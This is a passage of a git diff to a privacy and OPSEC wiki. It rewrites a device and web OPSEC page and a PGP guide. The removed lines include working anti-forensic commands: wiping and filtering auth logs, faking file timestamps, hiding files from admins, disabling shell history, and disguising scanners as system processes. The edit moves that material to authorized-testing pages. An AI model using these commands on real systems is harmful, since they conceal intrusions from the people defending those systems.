as historical context; use the maintained Tor, Tails, Whonix, and browser references above for current workflows. -
+### Device OPSEC
-Mobile Device Opsec +macOS -To set up your Linux box, there will be many steps to follow. The best and most comprehensive list is in the book "Extreme Privacy: What it takes to disappear" by Michael Bazzell. - -Extreme Privacy: What it takes to disappear 5th edition - pg. 75 - -Extreme Privacy: What it takes to disappear 5th edition - pg. 117 - -* [https://grapheneos.org/](https://grapheneos.org/) - Private and Secure Mobile OS - * Recommend Google Pixel 8 for this OS +* _Extreme Privacy: What it Takes to Disappear, 5th edition, pg. 39_ +* [Little Snitch](https://www.obdev.at/products/littlesnitch/index.html) - Commercial macOS network monitor/firewall. It is not open source. +* [Objective-See Tools](https://objective-see.org/tools.html) + * [LuLu](https://objective-see.org/products/lulu.html) - Open source macOS firewall. + * [KnockKnock](https://objective-see.org/products/knockknock.html) - Reveals persistent software.
-WebOpsec - +Linux - -* Disable Javascript - -- Set security to safest setting - -* Use Cached version of website when on network instead of net requests. - * cache.example.co.uk - -- Use a search engine that does not track its users - * [https://www.duckduckgo.com](https://www.duckduckgo.com) - * [http://3g2upl4pq6kufc4m.onion/](http://3g2upl4pq6kufc4m.onion/) - -* Tracking cookies - * NSA uses things like Google Ads and other tracking cookies to identify users over TOR - * [http://www.washingtonpost.com/blogs//theswitch/wp/2013/12/10/nsausesgooglecookiestopinpointtargetsforhacking/](http://www.washingtonpost.com/blogs/theswitch/wp/2013/12/10/nsausesgooglecookiestopinpointtargetsforhacking/) - * TOR browser and Tails delete cookies on exit - * Regularly restart tor browser to keep deletings your cookies - * Disable DOM storage pseudocookies - * via about:config in URL bar - * type “storage” in filter bar - * set dom.storage.enabled to false - -- Website settings - * Disable “Show others my online status” - -* Doublecheck - * Display all the information your browser is currently showing about you - * Use the above Browser +* _Extreme Privacy: What it Takes to Disappear, 5th edition, pg. 21_ +* [Pop!_OS](https://pop.system76.com/) +* [OpenSnitch](https://github.com/evilsocket/opensnitch) - Linux application firewall.
-File Management - - - -* File verification - * [http://www.gpg4win.org/](http://www.gpg4win.org/) - Verifes files via PGP signature - * MD5 and Sha-1 hash verification - -- File shredding\ - ◇ [http://www.dban.org](http://www.dban.org)\ - ◇ [http://www.fileshredder.org](http://www.fileshredder.org)\ - ◇ [http://www.piriform.com/ccleaner](http://www.piriform.com/ccleaner) - -* **Shred & Erase a file** - - ``` - shred -z foobar.txt - ``` - -- **Shred & Erase without **_**shred**_ - - ``` - FN=foobar.txt; dd bs=1k count="`du -sk \"${FN}\" | cut -f1`" if=/dev/urandom >"${FN}"; rm -f "${FN}" - ``` - - Note: Or deploy your files in _/dev/shm_ directory so that no data is written to the harddrive. Data will be deleted on reboot. - - Note: Or delete the file and then fill the entire harddrive with /dev/urandom and then rm -rf the dump file. - -* **Restore the date of a file** - - Let's say you have modified _/etc/passwd_ but the file date now shows that _/etc/passwd_ has been modifed. Use _touch_ to change the file data to the date of another file (in this example, _/etc/shadow_) - - ``` - touch -r /etc/shadow /etc/passwd - ``` - -- **Clear logfile** - - This will reset the logfile to 0 without having to restart syslogd etc: - - ``` - cat /dev/null >/var/log/auth.log - ``` - - This will remove any sign of us from the log file: - - ``` - cd /dev/shm - grep -v 'thc\.org' /var/log/auth.log >a.log; cat a.log >/var/log/auth.log; rm -f a.log - ``` - -* **Hide files from that User without root privileges** - - Our favorite working directory is _/dev/shm/_. This location is volatile memory and will be lost on reboot. NO LOGZ == NO CRIME. - - Hiding permanent files: - - Method 1: - - ``` - alias ls='ls -I system-dev' - ``` - - This will hide the directory _system-dev_ from the _ls_ command. Place in User's _\~/.profile_ or system wide _/etc/profile_. - - Method 2: Tricks from the 80s. Consider any directory that the admin rarely looks into (like _/boot/.X11/.._ or so): +Mobile - ``` - mkdir '...' - cd '...' - ``` - - Method 3: Unix allows filenames with about any ASCII character but 0x00. Try tab (). Happens that most Admins do not know how to cd into any such directory. - - ``` - mkdir $'\t' - cd $'\t' - ``` - -- **Encrypting a file** - - Encrypt your 0-Days and log files before transfering them - please. (and pick your own password): - - Encrypt: - - ``` - openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I input.txt.enc - ``` - - Decrypt: - - ``` - openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I input.txt - ``` +* _Extreme Privacy: What it Takes to Disappear, 5th edition, pg. 75 and pg. 117_ +* [GrapheneOS](https://grapheneos.org/) - Privacy and security focused Android distribution for supported Pixel devices.
-
- -Email Opsec +## Web OPSEC Basics -* [Nulltrace](http://nulltc777uyenqhqvtms46lhqzpzsj6fhac5xnubhko4uqwvqgosoead.onion/index.html) - An onion site that offers an easy to use PGP toolkit. Allows a user to create PGP keypairs, sign, verify, encrypt and decrypt. +* Disable JavaScript for high-risk Tor browsing when your workflow allows it. +* Use the Tor Browser security slider for riskier browsing. +* Do not mix personal browsing sessions with research or anonymity sessions. +* Restart Tor Browser regularly to clear state. +* Prefer Tor Browser/Tails/Whonix defaults over hand-rolled browser hardening for anonymity work. +* Treat old v2 onion addresses and clearnet onion proxy links as stale or unsafe by default. +## File Verification and Encryption - -
+* [Gpg4win](https://www.gpg4win.org/) - Windows OpenPGP tooling. +* Prefer OpenPGP signatures and SHA-256 or stronger hashes. +* Treat MD5 and SHA-1 as legacy integrity checks, not secure verification. {% content-ref url="pgp-guide.md" %} [pgp-guide.md](pgp-guide.md) {% endcontent-ref %} -
- -Command Line HIstory - -* Disable PS logging - * [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) - -- **.i. Leave Bash without history:** +## Offensive OPSEC and Evasion - Tell Bash to use _/dev/null_ instead of _\~/.bash\_history_. This is the first command we execute on every shell. It will stop the Bash from logging your commands. +Command-history hiding, log tampering, process masquerading, PowerShell logging bypasses, and similar material belong in Red Offensive and should only be used in explicitly authorized labs or engagements. - ``` - export HISTFILE=/dev/null - ``` - - It is good housekeeping to 'commit suicide' when exiting a shell: - - ``` - alias exit='kill -9 $$' - ``` - - Any command starting with a " " (space) will [not get logged to history](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces) either. - - ``` - $ id - ``` - - **1.ii. Hide your command** - - ``` - /bin/bash -c "exec -a syslogd nmap -T0 10.0.2.1/24" - # or starting as a background process: - exec -a syslogd nmap -T0 10.0.2.1/24 &>nmap.log & - ``` - - Alternatively if there is no Bash: - - ``` - cp `which nmap` syslogd - PATH=.:$PATH syslogd -T0 10.0.2.1/24 - ``` - - In this example we execute _nmap_ but let it appear with the name _syslogd_ in _ps alxwww_ process list. - - **1.iii. Hide your arguments** - - Download [zap-args.c](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/src/zap-args.c). This example will execute _nmap_ but will make it appear as 'syslogd' without any arguments in the _ps alxww_ output. - - ``` - gcc -Wall -O2 -fpic -shared -o zap-args.so zap-args.c -ldl - LD_PRELOAD=./zap-args.so exec -a syslogd nmap -T0 10.0.0.1/24 - ``` - -
+{% content-ref url="../red-offensive/testing-methodology/post-exploitation/defense-evasion.md" %} +[defense-evasion.md](../red-offensive/testing-methodology/post-exploitation/defense-evasion.md) +{% endcontent-ref %} -{% embed url="https://youtu.be/TgquV_OA-lU" %} +{% content-ref url="../red-offensive/testing-methodology/lateral-movement.md" %} +[lateral-movement.md](../red-offensive/testing-methodology/lateral-movement.md) +{% endcontent-ref %} diff --git a/grey-privacy-tor-opsec/pgp-guide.md b/grey-privacy-tor-opsec/pgp-guide.md index 93dfcac..8f0dead 100644 --- a/grey-privacy-tor-opsec/pgp-guide.md +++ b/grey-privacy-tor-opsec/pgp-guide.md @@ -1,275 +1,153 @@ +--- +description: Maintained OpenPGP/GnuPG reference for key generation, encryption, signatures, and verification. +--- + # PGP Guide {% embed url="https://youtu.be/CEADq-B8KtI" %} -## General PGP Opsec - -* Sometimes when you inport a public PGP key, it will reach out to PGP servers to validate the key, if setup to do so. -* Be wary of this if using you own host machine. Catch with Snitch program. -* Again, do not use your host device to manage the PGP keys. -* The start of pgp messages will detail the OS that created it -* PGP key scrubbing - * \#gpg --encrypt --armor --no-comments --no-emit-version -r KEY -* Ensure you put the date in the message and the reason for the signed pgp message to ensure you dont get impersonated on other forums -* Verify signed pgp message - * gpg --verify - * paste the whole signed PGP mesage - * CTRL+D - -• _**Back up your pgp key ring\***_ - -### Importing public PGP keys - -* When you have recieved a new public key, you should import it on to your keyring - * \#gpg --import - * paste whole key - * CTRL+D - * Should display "key XXXXXXXXXXX: ‘username’ imported -* To use the imported key ◇ gpg --encrypt --armor -r XXXXXXXXXX - * Type out your message and hit CTRL+D when done to produce the encrypted pgp message - -### Encrypting messages - -\#gpg --encrypt --armor -r KEY - -### Decrypting messages - -* \#gpg -d \ -* enter passphrase - -## Key Generation - -Generating a Keypair Before we can encrypt a message, we are going to need to generate a keypair. To do this, enter the following command: - -gpg --gen-key The following text will then be prompted:gpg (GnuPG) 2.0.26; Copyright (C) 2013 Free Software Foundation, Inc. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. - -Please select what kind of key you want: (1) RSA and RSA (default) (2) DSA and Elgamal (3) DSA (sign only) (4) RSA (sign only) Your selection? 1 The main difference between RSA & DSA and Elgamal is the underlying mathematical principles, for this guide we'll be using RSA. Enter 1 and hit enter. Next prompt:RSA keys may be between 1024 and 4096 bits long. What keysize do you want? (2048) 4096 Use of 4096 for the added security. Next prompt:Please specify how long the key should be valid. 0 = key does not expire = key expires in n days w = key expires in n weeks m = key expires in n months y = key expires in n years Key is valid for? (0) 1y In the world of privacy, permanent anything is usually looked down upon, so I would recommend setting some length of time. For this tutorial my key will last for 1 year. To do this I enter 1y. Next prompt:Key expires at 12/12/15 Is this correct? (y/N) y I entered y, as it was the correct amount of time. The next prompt will ask for each of the following one at a time. The only field you actually need to fill out is real name. In that category put whatever you want. The Email address and comment are optional.GnuPG needs to construct a user ID to identify your key. - -Real name: WhatEverNameYouWant Email address: Comment: You selected this USER-ID: "WhatEverNameYouWant" - -Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O Modification options are given, but I'm satisfied with my entry, so I entered O to progress further.You will then be presented with a prompt to enter a passphrase. Pick a good one and move on. You will then be presented with the following message:We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy. We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy. gpg: key CA637B79 marked as ultimately trusted public and secret key created and signed. - -Basically hit a bunch of keys on your keyboard, and click around a bit until it finishes generating random information. Once done, you should receive some form of confirmation, and return to the console. At this point you will have successfully generated a keypair that can be used to encrypt and decrypt messages. - -## Editing Keys - -If you want to edit any key attributes, run the following command: - -gpg --edit-key WhatEverNameYouWant - -The following will then appear: gpg (GnuPG) 2.0.26; Copyright (C) 2013 Free Software Foundation, Inc. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. - -Secret key is available. - -pub 4096R/(Expunged) created: 2014-12-25 expires: 2015-12-25 usage: SC trust: ultimate validity: ultimate sub 4096R/(Expunged) created: 2014-12-25 expires: 2015-12-25 usage: E \[ultimate] (1). WhatEverNameYouWant - -gpg> You can obtain a list of editing options by running the command "help"gpg> help - -* quit - quit this menu -* save -save and quit -* help - show this help -* fpr - show key fingerprint -* list -list key and user IDs -* uid - select user ID N -* key - select subkey N -* check - check signatures -* sign - sign selected user IDs \[\* see below for related commands] -* lsign - sign selected user IDs locally -* tsign - sign selected user IDs with a trust signature -* nrsign - sign selected user IDs with a non-revocable signature -* adduid - add a user ID -* addphoto - add a photo ID -* deluid - delete selected user IDs -* addkey - add a subkey -* addcardkey - add a key to a smartcard -* keytocard - move a key to a smartcard -* bkuptocard - move a backup key to a smartcard -* delkey - delete selected subkeys -* addrevoker - add a revocation key -* delsig - delete signatures from the selected user IDs -* expire - change the expiration date for the key or selected subkeys -* primary - flag the selected user ID as primary -* toggle - toggle between the secret and public key listings -* pref - list preferences (expert) -* showpref - list preferences (verbose) -* setpref - set preference list for the selected user IDs -* keyserver - set the preferred keyserver URL for the selected user IDs -* notation - set a notation for the selected user IDs -* passwd - change the passphrase trust change the ownertrust -* revsig - revoke signatures on the selected user IDs -* revuid - revoke selected user IDs -* revkey - revoke key or selected subkeys -* enable - enable key -* disable - disable key -* showphoto - show selected photo IDs -* clean - compact unusable user IDs and remove unusable signatures from key -* minimize - compact unusable user IDs and remove all signatures from key -* The `sign' command may be prefixed with an`l' for local signatures (lsign), - - a `t' for trust signatures (tsign), an`nr' for non-revocable signatures - - (nrsign), or any combination thereof (ltsign, tnrsign, etc.). - -gpg> As an example, I'll show you how to edit the trust of a key. Start by running the "trust" command:gpg> trust Here is the output:pub 4096R/(Expunged) created: 2014-12-25 expires: 2015-12-25 usage: SC trust: marginally validity: marginally sub 4096R/(Expunged) created: 2014-12-25 expires: 2015-12-25 usage: E \[ultimate] (1). WhatEverNameYouWant - -Please decide how far you trust this user to correctly verify other users' keys (by looking at passports, checking fingerprints from different sources, etc.) - -1 = I don't know or won't say 2 = I do NOT trust 3 = I trust marginally 4 = I trust fully 5 = I trust ultimately m = back to the main menu - -Your decision? 5 I created the key, so there's no reason other than to trust it to its fullest extent, therefore I selected 5.Do you really want to set this key to ultimate trust? (y/N) y - -pub 4096R/(Expunged) created: 2014-12-12 expires: 2015-12-12 usage: SC trust: ultimate validity: ultimate sub 4096R/(Expunged) created: 2014-12-12 expires: 2015-12-12 usage: E \[ultimate] (1). WhatEverNameYouWant - -## Import/Export - -Exporting and Importing Keys At this stage you now have your own keypair; the next step is to retrieve your public key so you can distribute it for others to use when messaging you. In this tutorial, we created a user under the ID of WhatEverNameYouWant. This is the ID which I shall use. To print the key, enter the following command: - -gpg --armor --export WhatEverNameYouWant where WhatEverNameYouWant is the ID or Email picked when creating the keypair. This will print the public key to the console screen: - -\-----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v2 - -KEY GOES HERE - -\-----END PGP PUBLIC KEY BLOCK----- - -If you want it instead to save it to a file the following command can instead be entered:gpg --armor --output myPubKey.asc --export WhatEverNameYouWant Where myPubKey.asc is the name and directory path of the file to save it to. This can be opened with a text editor, and the public key can be copied.Alternatively, you can use a single bracket redirect character to funnel the output of a command into a file:gpg --armor -export WhatEverNameYouWant > myPubKey.asc The result is the same._LINUX TIP_ The ">" character redirects stdout (standard out-- what would normally be printed on the screen), and overwrites the file placed to the right of the character. If no such file exists, it is created. If the file does exist, it will be overwritten, and the previous information that it contained will be lost. To export your private key, you will enter the following command:gpg --armor --export-secret-keys WhatEverNameYouWant This will print an output to the console resembling this: - -\-----BEGIN PGP PRIVATE KEY BLOCK----- < - -\> -----END PGP PRIVATE KEY BLOCK----- - -To export to a file, use either the "--output" or the ">" character methods outlined above.As a reminder, do not EVER share your private key with anyone. The only time you should be exporting your private key is when creating a back up.Importing a KeyTo encrypt a message for someone, you're going to need to import their public key. For this tutorial I will be importing the public key provided on Agora's help and info page. You are more than welcome to import the public key displayed earlier. To import a key from a file:gpg --import path/to/pubkey.asc where pubkey.asc is the file where you saved the public key you want to import. Here's the output you should receive:gpg: key (Expunged): public key "Agora One" imported gpg: Total number processed: 1 gpg: imported: 1 (RSA: 1) And that's it, you can now write messages using the key imported.The Fileless MethodTo import a key directly, without the use of a file, you can use either the "cat" command, or "echo" along with a pipe character "|".Using "cat":cat < You can now paste the public key block from your clipboard. Hit enter to move to the next blank line if you are not already there, and type "END."cat <\ \-----BEGIN PGP PUBLIC KEY BLOCK----- _keyblock removed to reduce page length_ -----END PGP PUBLIC KEY BLOCK----- END Hit "Enter" once more and the command is completed. The output:gpg: key 0B701872: public key "Mun Mun Mun [munmunmun@mun.mun](mailto:munmunmun@mun.mun)" imported gpg: Total number processed: 1 gpg: imported: 1 (RSA: 1) To accomplish the same task using the "echo" command, the syntax is as follows:echo "" | gpg --import Note the use of the quotation marks. If you attempt to run the echo command without quotation or tick marks, bash will attempt to interpret each line of the key you paste as a command the second you paste it in. When using this method, I always use double quotes, as I have run into some random cases where single quotes (or ticks) caused unexpected behaviour.echo "-----BEGIN PGP PUBLIC KEY BLOCK----- _keyblock removed to reduce page length_ -----END PGP PUBLIC KEY BLOCK----- " | gpg --import The output is the same as the other methods:gpg: key 0B701872: public key "Mun Mun Mun [munmunmun@mun.mun](mailto:munmunmun@mun.mun)" imported gpg: Total number processed: 1 gpg: imported: 1 (RSA: 1) - -_LINUX TIP_ The "echo" command allows the user to input a string, which is then sent to stdout. Just like in the cat example, the pipe character turns the output from the "ech"o command on the left into and input for the "gpg" command on the right. - -## Encrypting a Message - -Once you have imported someone else's public key, you can encrypt a message. For this tutorial, I will use the text Hello World! and place it into file myMessage.txt . Now that we have a file with a message in it, enter the following command: - -gpg --armor --output encMessage.asc --encrypt myMessage.txt where myMessage.txt is the name of the file you are encrypting. Throughout this tutorial, there has been use of other parameters before encrypting the message. Let's take a minute and examine the parameters set forth. Notice that we use --encrypt and then the file name to specify the file to encrypt, but there are a few other parameters not fully described.--armor tells the program to use ASCII armor, this makes GnuPG encrypt the data in the file so it can be copied and pasted via text characters.--output enables the user to specify a name and location of the output file, where encMessage.asc is the desired name of the output file.So once that command is input, the user will be prompted to enter a recipient. As seen earlier, the user ID for Agora was Agora One. So that is what I entered. Alternatively, the user's email can also be entered. After that, I simply hit enter to confirm no other recipients.This is what the console looked like:You did not specify a user ID. (you may use "-r") - -Current recipients: - -Enter the user ID. End with an empty line: Agora One gpg: (Expunged): There is no assurance this key belongs to the named user - -pub (Expunged)/(Expunged) Agora One Primary key fingerprint: (Expunged) Subkey fingerprint: (Expunged) - -It is NOT certain that the key belongs to the person named in the user ID. If you _really_ know what you are doing, you may answer the next question with yes. - -Use this key anyway? (y/N) y - -Current recipients: (Expunged)/(Expunged) "Agora One" - -Enter the user ID. End with an empty line: I just added this key from agora, so I am well aware that it is the actual user ID, therefore I can trust it, and input y and preceded on. Needing no other recipients, I simply hit enter and let the program compile an encrypted message.Upon completion, the file encMessage.asc was generated. When opened with a text editor, the PGP message was shown. This is the message which I would send to the recipient, in this case it would be the Agora staff.The same task can be achieved without writing the output to a file by using the "cat" or "echo" command methods outlined above.Using cat:cat <\ Hello World! END gpg: 32E3AC7F: There is no assurance this key belongs to the named user +PGP/OpenPGP is still useful for signing, encryption, file verification, and key continuity, but old darknet-market examples and GnuPG 2.0 transcripts age badly. This page is the maintained reference; the Jolly Roger page remains an untouched historical archive. -pub 4096R/32E3AC7F 2018-09-07 Mun Mun Mun [munmunmun@mun.mun](mailto:munmunmun@mun.mun) Primary key fingerprint: 4EAD DF75 A81F 1903 303F C7B2 9479 D2AC 0B70 1872 Subkey fingerprint: 4378 37D6 13E4 3AED 0F25 CFA0 20BB 05A5 32E3 AC7F +## Core Guidance -It is NOT certain that the key belongs to the person named in the user ID. If you _really_ know what you are doing, you may answer the next question with yes. +* Prefer current GnuPG documentation and maintained platform docs over old forum workflows. +* Do not generate or store sensitive keys on an untrusted host. +* Verify key fingerprints through a separate trusted channel before trusting a public key. +* Protect the private key and maintain an offline backup of your key material and revocation certificate. +* Add dates, context, and purpose to signed messages so a valid signature cannot be easily replayed out of context. +* Use SHA-256 or stronger hashes and OpenPGP signatures for verification. MD5 and SHA-1 are legacy-only for security purposes. +* Use `--no-comments` and `--no-emit-version` when you do not want GnuPG version comments included in armored output. -Use this key anyway? (y/N) y -----BEGIN PGP MESSAGE----- +## References -hQIMAyC7BaUy46x/ARAAmEmI28SlznRZG3e76AUWGHyeW+SwqQWfXGOljYBjHTLv 6nvV8+brrEIiIRGOT++s7jpTwYrowcP4h9EHNpId9vJ5bfGJUFPXcX3UPBkEG8Dt e8FVdJa4T11yk0pot96jbmVnHKVMbsFVoescIsrUD8+N3y+Gax/RrOEY16SlqG5p RBWChGLKwb04+KZWIwVRbrYwWU7Xiu/8A1T6tP/7CB7c9kegLrgusWWZ3evPLYcp gYgJpuZfK5jvfasHOU3KrF80fR71xkeSocrl3IRuGRwl+s1kqsOkX6II2vPsm8Ut 0xG7ySF1d6QLz1CJ3A4EV/n56rJVs1qAHx0B3OyMvwmMPoPHFiaiErfYqb7UnP73 EcvZNpD19mLgKdM7qrYtdUIvYBn6dTlt5yPiES87Fk5yTLWW+HeBBkLL+ZuI3mnF 0KUYVeuFBmGs96QhyZmKmnH/F0HDjECW0KnB+rZkFEXMzh3yHhoE5Du34UUHnUI0 GTDp854FWSMm8DTtCYtywx2YMS+FuglhytCjNfEmdoszg+SoH3K3xqR9O9FoZjFa q/TwhUPvTSM8sWkAEf37QhR6b52giaGItVK8RG50e813hW9ncINQDwF9a4kqZ5PS BMrK5bv3suPzcpOl+ZpsRDSofnjnWQK9HLHWBEyf5vGaHNLeG7iTIVjHa/igP4zS SAF9hMhPFa5rq+NsBuSlTF2oi0fazG1ctGR2HhL6WBRckroVwsZ4v3CKmuBuk69J AhSsJnbOT1hPmLPPU7FK6szH2dBumuOQuA== =DP51 -----END PGP MESSAGE----- +* [GnuPG manual](https://gnupg.org/documentation/manuals/gnupg/) +* [GnuPG getting started](https://gnupg.org/gph/en/manual.html) +* [Tails OpenPGP and encryption documentation](https://tails.net/doc/encryption_and_privacy/) +* [EFF Surveillance Self-Defense: PGP](https://ssd.eff.org/) +* [Gpg4win](https://www.gpg4win.org/) - Windows OpenPGP distribution. -_LINUX TIP_ Note that all of the longhand flags preceded by a double dash "--" (--encrypt, --armor, --recipient) can be shortened to single character flags preceded by a single dash "-" (-e, -a, -r). These single character flags can then be combined into one flag representing a combination of single character flags, -ear. Most commands have both short and longhand flags, which can be found using "\[command] --help" or by pulling up the command manual with "man \[command]" Be aware though, some programs have strict enforcement over the order of flags delivered. Check the help or manual pages for whatever program you are using for more information.Using echo:echo "Hello world" | gpg -ear Mun gpg: 32E3AC7F: There is no assurance this key belongs to the named user +## Generate a Key -pub 4096R/32E3AC7F 2018-09-07 Mun Mun Mun [munmunmun@mun.mun](mailto:munmunmun@mun.mun) Primary key fingerprint: 4EAD DF75 A81F 1903 303F C7B2 9479 D2AC 0B70 1872 Subkey fingerprint: 4378 37D6 13E4 3AED 0F25 CFA0 20BB 05A5 32E3 AC7F +Modern GnuPG uses `--full-generate-key` for the interactive flow. -It is NOT certain that the key belongs to the person named in the user ID. If you _really_ know what you are doing, you may answer the next question with yes. +```bash +gpg --full-generate-key +``` -Use this key anyway? (y/N) y -----BEGIN PGP MESSAGE----- +Recommended defaults for most users: -hQIMAyC7BaUy46x/AQ//W2FukPjZr51RWhtdVSkQWj7hGijey7dwwoVQvXP4wpBx H6rRiCTulwvBAA5IEG/fxQoDXw/k2KDI6IDaTwA277/tewZs0zXI7bUmY54Nh0mU RZMGfSjpU1CDjEAc85d9tdP6jKkunxFnIarjbJkLVjL71AUzRJqNbWZJDLObDmRj R2UfKuLGvtpRbrgsWUiLxXDRbcMb961y+x337So8FP38J6fUOldBj4JfljEt62r7 6cI+WJDDo5wr45uejNP8mqsEyDJz24rRgqoylhKLkyZbKOziryAlMy/Svk+KkwWN GHMI5h/2A619v1Ylj8zQakgdQ7Rq/LiK67ztO5VknAqWUTN1Fvky4TC/+MvkiWqw /PkzTgfXW7v8nAQs5ZFWNqUh/mvVtvKKllsTCxGOhnBwxRDO+RWq86pE693uQTzD WzjzfAOEkMtntnDMWUKtHX8jo/XWAESl6TDgyi3AGZYerA/mfNHmF+txRWlW4Hd0 pnDYjah+aKlA6Y4Mi/G4cn6C9nAf8K62JpnQx+6ze9L4/liVQFiyuBAdXWcVv66o EMQZMm8n+2T/Y62B5sNsJofK/yyIc9KhGjFcvNX89YHigfpCBVtR6qOR0YudrFNE 9Azoz/kfX+dYxPdNKr34R1125QRCJuwYhEPDiuYAr3E+IFAtRK0SZ08+pTQMQePS RwFtqXRS1vzv3rYpS7PF/7jHet8yCxNWfsSIce+nv6IcsHVYdry3ZkJh3rw5RoXy 1/t1ESI6kKZ6EFFAszF6hgnAQHNRMW2T =feuT -----END PGP MESSAGE----- +* Use RSA/RSA or the current GnuPG default unless you have a specific key-type requirement. +* Use a strong passphrase. +* Set an expiration date so old keys age out naturally. +* Create and protect a revocation certificate. -Note that when using echo, you can use "SHIFT+ENTER" to jump to a new line. You might opt to type your messages in a more user-friendly text editor, and then paste them into the console if formatting is a concern.===Decrypting a message===So at this stage you can now generate your own keys, and send messages to others using their keys. The only thing left is to decrypt a message when a user messages you. This is the text Hello World! when encrypted using the WhatEverNameYouWant public key:-----BEGIN PGP MESSAGE----- Version: GnuPG v2 +List keys and fingerprints: -hQIMA0O56MNiiHV5AQ//WLFKdMBF0a5vuW9EoNbWvS656cPBvKHiEBT7ygtvHLfM DS7hDzp+F7gqImm3Ql3be5o+7QNHDIRWdEiZ2SR3NopHyRYHEA9k3G+d33qV/Ykz su8qqxUm7Y3UKtf2nKpY3jRPml5Stm8QtwaznARH6tPqzHCh69f7Uz40pwpbl53v kpTOKcjYAwI5rC/k4GNgGj3luhEgzha13j7VXDl9zaXK78NaBQCBqUUJbtPG3jmv vZRLvvgMPxbSuyyYPNbXoNkvImNfP4UdD4KSBRHq2LiSDkkyJqXZJ2ZrP7j3gE/4 rJ2hiUeJLQpDE51CEpGY0lfJIFz7JbIv+V3CNqkJOR/2TtqZhjkp4gLFgVPNpolf mVoTG0eOZjieP9d56cPVEW3uEpc4CvtqDHIRQeEBMgPVQeKTL+iTk8Zq02Bg6C0l 8ITh/ekhiweD5jBbC0to7PCHFMH4TJklnRrmzl2ykNzcB6RR1QJgk9EceE/vxYEB Y2FFqTUcbzZRi4hpCbfqgDZDgG9SbUgkDmWLV0OuQ/iGZJiu7wyI4KiXl9BSoY7q NrMjhvOBUNFIn7FoquxH9c+ETUFnchm9y9Cu3+RzA8eqqJF+sCrCXokLE/J6aRrW zq0FlK4lzpFMHSYWpt7CDJh5uIe6zxyzPDN2vUAbGAzW8mLaA5IEKLH2yHJehcrS VAHd/9l3vKzweZdugQVAloTBMdX06YZBlhuBQl19br1SGiFTk+TeiyykQCqrWHYt bDoXB1S9BX8ux8RRSi53Y9xVN0/EA5pYJpzx8geJ0NikFeAFSQ== =gL3V -----END PGP MESSAGE----- +```bash +gpg --list-keys --fingerprint +gpg --list-secret-keys --fingerprint +``` -## Decrypting Messages +## Export and Back Up Keys -Decrypting this is a relatively painless and simple process. First I saved the message to a text file titled myEncMessage.asc. Once there I entered the following command:gpg --decrypt myEncMessage.asc where myEncMessage.asc is the name of the file with the message in it. This command will have it output the message into the console, if you want it to be placed into a file instead, use the following command:gpg --output myDecMessage.txt --decrypt myEncMessage.asc Where myDecMessage.txt is the name of the file to export the message to.Alternatively, you can direct the output by using a ">" character:gpg --decrypt myEncMessage.asc > myDecMessage.txt The decryption process requires accessing the private key; for this reason, you must provide the password you created when generating the keypair. During the process a prompt will appear, fill in the password and it will decrypt. Here is the output of the command with no output file specified:You need a passphrase to unlock the secret key for user: "WhatEverNameYouWant" 4096-bit RSA key, ID , created 2014-12-12 (main key ID) +Export a public key: -gpg: encrypted with 4096-bit RSA key, ID , created 2014-12-12 "WhatEverNameYouWant" Hello World! Notice how a recipient is never specified, this is because the ciphertext can be linked to a key automatically. If the user has a message and the appropriate key to decipher it, GnuPG will find it on it's own.To decrypt a message without saving the ciphertext to a file, use the "cat" or "echo" methods outlined above:cat <\ public-key.asc +``` -> PASTE CIPHERTEXT HERE END ORecho "PASTE CIHPER TEXT HERE" | gpg -d +Export a private key only for offline backup: -You may notice that I used the shorthand "-d" in place of --decrypt. +```bash +gpg --armor --export-secret-keys "Name or key ID" > private-key-backup.asc +``` -## PGP Signatures +Create a revocation certificate: -Signatures and Verification When sending a message to someone, you know that only the person in control of that key will be able to read it, because they should be the only one with with the private key associated with the public key you encrypted to, and therefore are the only one able to decrypt the message. So how do we verify that a specific party wrote, sent, or posted a message? This is where signatures come in. +```bash +gpg --output revoke.asc --gen-revoke "Name or key ID" +``` -Signing messages is way for the originator of a message to prove that the message was created by them, assuming that they are in control of their key. They generate a signature hash around a message that can be verified by anyone with their public key. +## Import Public Keys -There are three common scenarios for the use of clearsigning: 1). Establishing PGP key lineage. When your current key is set to expire, you might sign a message containing your new key with your old key. 2). Important announcements from administrators, developers, or vendors. 3). Proving account ownership. +Import from a file: -### Clearsigning +```bash +gpg --import public-key.asc +``` -Here are a few examples from opie\_ on clearsigning messages, keys, and verifying keys using the "cat" command. The same can be done using the "echo" method, or by saving text to files and reading or writing from the file. +Import pasted armored text safely from a file or heredoc: -cat <\ Hey! Ho! What's goodie? Swiggity Swootie, I'm coming for that booty! END Output:-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 +Set trust only after independently verifying the fingerprint: -Hey! Ho! What's goodie? Swiggity Swootie, I'm coming for that booty! -----BEGIN PGP SIGNATURE----- +```bash +gpg --edit-key "Name or key ID" +gpg> fpr +gpg> trust +``` -iQIzBAEBCgAdFiEEBHRN9HAfZ1F/IBCZMBbTaXgXIagFAlwFh7gACgkQMBbTaXgX IahW3g/+LIda/IPTcXqgG5sMbUjUe1Et3IHzc4GwxQUcnTa2HtPFNfQWZEe+AiPt uiZdz6E7+3npndK8ZEnwZCbt4k1+e++EozHKWObCyQUdfi3aY/79tsbCCJc76Bao S1dEiD6cRUTalsg61AbnrYucvA6a9xiLqyzjlWJolBRPOxj4LJi+iJtWcc83Jp8B Doec+Lfgo/IGO7u+CZj2IJ2kK1FGQIcWk4IqRiWTXIbYKo48QxpUqjOadnBfiJ7s CfF1EAo5qcffu3J+o/453FjChVOWTeKdSdchlksqcm/THS0KF4ZuKuI3J4lUHPRr 